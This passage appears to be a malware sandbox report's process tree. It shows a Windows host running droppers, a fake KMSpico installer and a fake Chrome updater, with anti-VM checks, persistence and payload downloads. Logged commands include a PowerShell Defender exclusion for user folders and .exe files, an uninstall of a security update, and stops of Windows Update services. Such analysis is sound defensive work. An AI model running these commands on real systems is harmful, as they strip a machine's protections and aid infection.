        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:9296
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x254,0x7ffe94b3f208,0x7ffe94b3f214,0x7ffe94b3f220
        9⤵
        
        PID:8952
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1996,i,15633220410661996912,3923619780776682611,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:11
        9⤵
        
        PID:9816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1960,i,15633220410661996912,3923619780776682611,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        9⤵
        
        PID:9700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2516,i,15633220410661996912,3923619780776682611,262144 --variations-seed-version --mojo-platform-channel-handle=2484 /prefetch:13
        9⤵
        
        PID:10040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3524,i,15633220410661996912,3923619780776682611,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:10716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3532,i,15633220410661996912,3923619780776682611,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:11188
      - C:\Users\Admin\AppData\Local\Temp\10028410101\joker1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\joker1221.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:10536
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:10576
      - C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:13580
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:13752
      - C:\Users\Admin\AppData\Local\Temp\10046340101\EXE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10046340101\EXE.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:8188
  - - C:\Users\Admin\AppData\Local\Temp\10510850101\JYmYIvU.exe
      "C:\Users\Admin\AppData\Local\Temp\10510850101\JYmYIvU.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:13484
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7468
  - - C:\Users\Admin\AppData\Local\Temp\10511460101\78b237e47b.exe
      "C:\Users\Admin\AppData\Local\Temp\10511460101\78b237e47b.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:7120
  - - C:\Users\Admin\AppData\Local\Temp\10511470101\df98b90ee9.exe
      "C:\Users\Admin\AppData\Local\Temp\10511470101\df98b90ee9.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:10500
    - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10511470101\df98b90ee9.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:14372
  - - C:\Users\Admin\AppData\Local\Temp\10511480101\88b971863b.exe
      "C:\Users\Admin\AppData\Local\Temp\10511480101\88b971863b.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:7628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=6032,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6860 /prefetch:1
  2⤵
  PID:3384
- C:\Users\Admin\Downloads\random.exe
  "C:\Users\Admin\Downloads\random.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:3564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=732,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
  2⤵
  PID:5604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6548,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
  2⤵
  PID:4256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6576,i,1393138204967387573,11647689976373508773,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:2972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2a8,0x7ffe94b3f208,0x7ffe94b3f214,0x7ffe94b3f220
    3⤵
    PID:5960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1688,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:11
    3⤵
    PID:2700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2152,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:2
    3⤵
    PID:1712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2544,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:13
    3⤵
    PID:3484
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4340,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:14
    3⤵
    PID:1972
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4340,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:14
    3⤵
    PID:4032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4616,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:14
    3⤵
    PID:3892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=568,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:14
    3⤵
    PID:6348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4652,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:14
    3⤵
    PID:6380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4732,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:14
    3⤵
    PID:6404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4984,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:14
    3⤵
    PID:9184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3524,i,13829770183304416923,8430671107882017480,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
    3⤵
    PID:10852

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:1572

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4916

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5164

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:3024

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:5340

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{d666023e-c1b1-4b91-8855-42e767e1e337}\5111d266-9b49-4e12-998e-14e77f0b490b.cmd"mmonProgramFiles(x86)=C:\Program Files (x86)\Common Files
1⤵
PID:11456

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4524

C:\Drivers\pcidrv.exe
C:\Drivers\pcidrv.exe
1⤵
- Executes dropped EXE
PID:12740

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:15052
- C:\ProgramData\Google\Chrome\updater.exe
  "C:\ProgramData\Google\Chrome\updater.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:15328
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1448
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1088
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4268
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5300
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6604
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:6468
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:6476
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:6404
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:6840
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:6844
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:6868
- - C:\Windows\system32\conhost.exe
    C:\Windows\system32\conhost.exe
    3⤵
    PID:7092
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5988

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5924

C:\Windows\System32\Taskmgr.exe
"C:\Windows\System32\Taskmgr.exe"
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:14732

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:8336

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
- Executes dropped EXE
PID:8216

C:\Drivers\pcidrv.exe
C:\Drivers\pcidrv.exe
1⤵
- Executes dropped EXE
PID:8252

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:9684

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:7656
- C:\Users\Admin\AppData\Local\Temp\10511690101\93f704f934.exe
  "C:\Users\Admin\AppData\Local\Temp\10511690101\93f704f934.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  PID:5032
- C:\Users\Admin\AppData\Local\Temp\10511700101\f59c48c2d1.exe
  "C:\Users\Admin\AppData\Local\Temp\10511700101\f59c48c2d1.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:12656
- - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    "C:\Users\Admin\AppData\Local\Temp\10511700101\f59c48c2d1.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:13856
- C:\Users\Admin\AppData\Local\Temp\10511710101\a5506f9080.exe
  "C:\Users\Admin\AppData\Local\Temp\10511710101\a5506f9080.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:10804
- - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    "C:\Users\Admin\AppData\Local\Temp\10511710101\a5506f9080.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4436
- C:\Users\Admin\AppData\Local\Temp\10511720101\7daf4e82b3.exe
  "C:\Users\Admin\AppData\Local\Temp\10511720101\7daf4e82b3.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4328
- - C:\Users\Admin\AppData\Local\Temp\is-C259B.tmp\7daf4e82b3.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-C259B.tmp\7daf4e82b3.tmp" /SL5="$110350,28467627,844800,C:\Users\Admin\AppData\Local\Temp\10511720101\7daf4e82b3.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:11184
  - - C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe
      "C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5092
    - - C:\Users\Admin\AppData\Local\Temp\is-FE2VH.tmp\KMSpico.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FE2VH.tmp\KMSpico.tmp" /SL5="$203DC,2952592,69120,C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:10752
  - - C:\Users\Admin\AppData\Roaming\MyApp\core.exe
      "C:\Users\Admin\AppData\Roaming\MyApp\core.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:11948
  - - C:\Users\Admin\AppData\Roaming\MyApp\info.exe
      "C:\Users\Admin\AppData\Roaming\MyApp\info.exe"
      4⤵
      Executes dropped EXE
      PID:4700

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:9056
- C:\Users\Admin\AppData\Local\Temp\10055900101\d331f1b04d.exe
  "C:\Users\Admin\AppData\Local\Temp\10055900101\d331f1b04d.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:7528
- - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    "C:\Users\Admin\AppData\Local\Temp\10055900101\d331f1b04d.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:11364
- C:\Users\Admin\AppData\Local\Temp\10055910101\5d9389ae82.exe
  "C:\Users\Admin\AppData\Local\Temp\10055910101\5d9389ae82.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:9984
- - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    "C:\Users\Admin\AppData\Local\Temp\10055910101\5d9389ae82.exe"
    3⤵
    - Downloads MZ/PE file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:10184

C:\Drivers\pcidrv.exe
C:\Drivers\pcidrv.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:9276

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:11620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe94b5dcf8,0x7ffe94b5dd04,0x7ffe94b5dd10
  2⤵
  PID:9920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1952,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1948 /prefetch:2
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2212,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2236 /prefetch:11
  2⤵
  PID:3504
- C:\Program Files\Google\Chrome\Application\chrome.exe
